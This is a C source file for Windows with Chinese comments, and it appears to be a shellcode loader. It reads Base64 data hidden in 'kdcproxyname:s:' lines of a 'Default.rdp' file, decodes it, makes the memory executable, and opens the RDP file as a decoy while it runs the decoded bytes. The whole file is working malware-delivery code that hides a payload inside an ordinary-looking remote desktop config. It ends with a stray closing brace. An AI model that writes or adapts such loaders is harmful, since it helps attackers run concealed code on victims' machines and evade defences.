#include <windows.h>
#include <stdio.h>
#include <stdint.h>
unsigned char global_decoded_array[4096];
int global_decoded_index = 0;
//函数指针
typedef void (*ShellcodeFunction)();
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_decode(const char* input, BYTE* output) {
int in_len = strlen(input);
int i = 0, j = 0, in = 0;
uint8_t char_array_4[4], char_array_3[3];
while (in_len-- && input[in] != '=') {
char_array_4[i++] = input[in++];
if (i == 4) {
for (i = 0; i < 4; i++) {
char_array_4[i] = strchr(base64_chars, char_array_4[i]) - base64_chars;
}
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; i < 3; i++) {
output[j++] = char_array_3[i];
}
i = 0;
}
}
if (i) {
for (int k = i; k < 4; k++) {
char_array_4[k] = 0;
}
for (int k = 0; k < 4; k++) {
char_array_4[k] = strchr(base64_chars, char_array_4[k]) - base64_chars;
}
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (int k = 0; k < i - 1; k++) {
output[j++] = char_array_3[k];
}
}
return j;
}
void executeShellcode(void* baseAddress) {
ShellcodeFunction shellcode = (ShellcodeFunction)baseAddress;
shellcode();
}
int main() {
HANDLE hndlRead;
WCHAR* szReadBuffer; //使用 WCHAR 支持 Unicode
INT fileSize;
SIZE_T sDSize;
BYTE decoded_data[510];
HANDLE hThread = NULL;
DWORD dwThreadId = NULL;
hndlRead = CreateFileW(L"Default.rdp", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hndlRead != INVALID_HANDLE_VALUE) {
fileSize = GetFileSize(hndlRead, NULL);
szReadBuffer = (WCHAR*)calloc(fileSize / 2 + 1, sizeof(WCHAR)); // +1 为 NUL 字符串终止符
DWORD nb = 0;
int nSize = fileSize;
if (szReadBuffer != NULL) {
ReadFile(hndlRead, szReadBuffer, nSize, &nb, NULL);
}
CloseHandle(hndlRead); //关闭打开的内容
WCHAR* textwithoutbom = szReadBuffer + 1;
//检索 kdcproxyname:s: 参数并提取 Base64 字符串
WCHAR* current_position = textwithoutbom;
WCHAR base64_buffer[4096]; //根据需要调整缓冲区大小
while ((current_position = wcsstr(current_position, L"kdcproxyname:s:")) != NULL) {
current_position += wcslen(L"kdcproxyname:s:");
if (swscanf(current_position, L"%4095[^\n]", base64_buffer) == 1) {
//将 WCHAR * 类型转换为 char * 类型
char base64_buffer_char[4096];
wcstombs(base64_buffer_char, base64_buffer, 4096);
//使用自定义函数解码 Base64 字符串
int decoded_length = base64_decode(base64_buffer_char, decoded_data);
//将解码后的数据复制到全局数组中
for (int i = 0; i < decoded_length; i++) {
global_decoded_array[global_decoded_index++] = decoded_data[i];
if (global_decoded_index >= 4096) {
printf("Global array is full, cannot copy more data.\n");
break;
}
}
}
}
sDSize = global_decoded_index;
printf("[+] Allocated Size %zu\n", sDSize);
PVOID baseAddress = VirtualAlloc(NULL, sDSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(baseAddress, global_decoded_array, sDSize);
DWORD dwOldProtection = NULL;
if (!VirtualProtect(baseAddress, sDSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
ShellExecuteW(NULL, L"open", L"Default.rdp", NULL, NULL, SW_SHOWNORMAL);
//执行Shellcode
executeShellcode(baseAddress);
getchar();
return 0;
}
}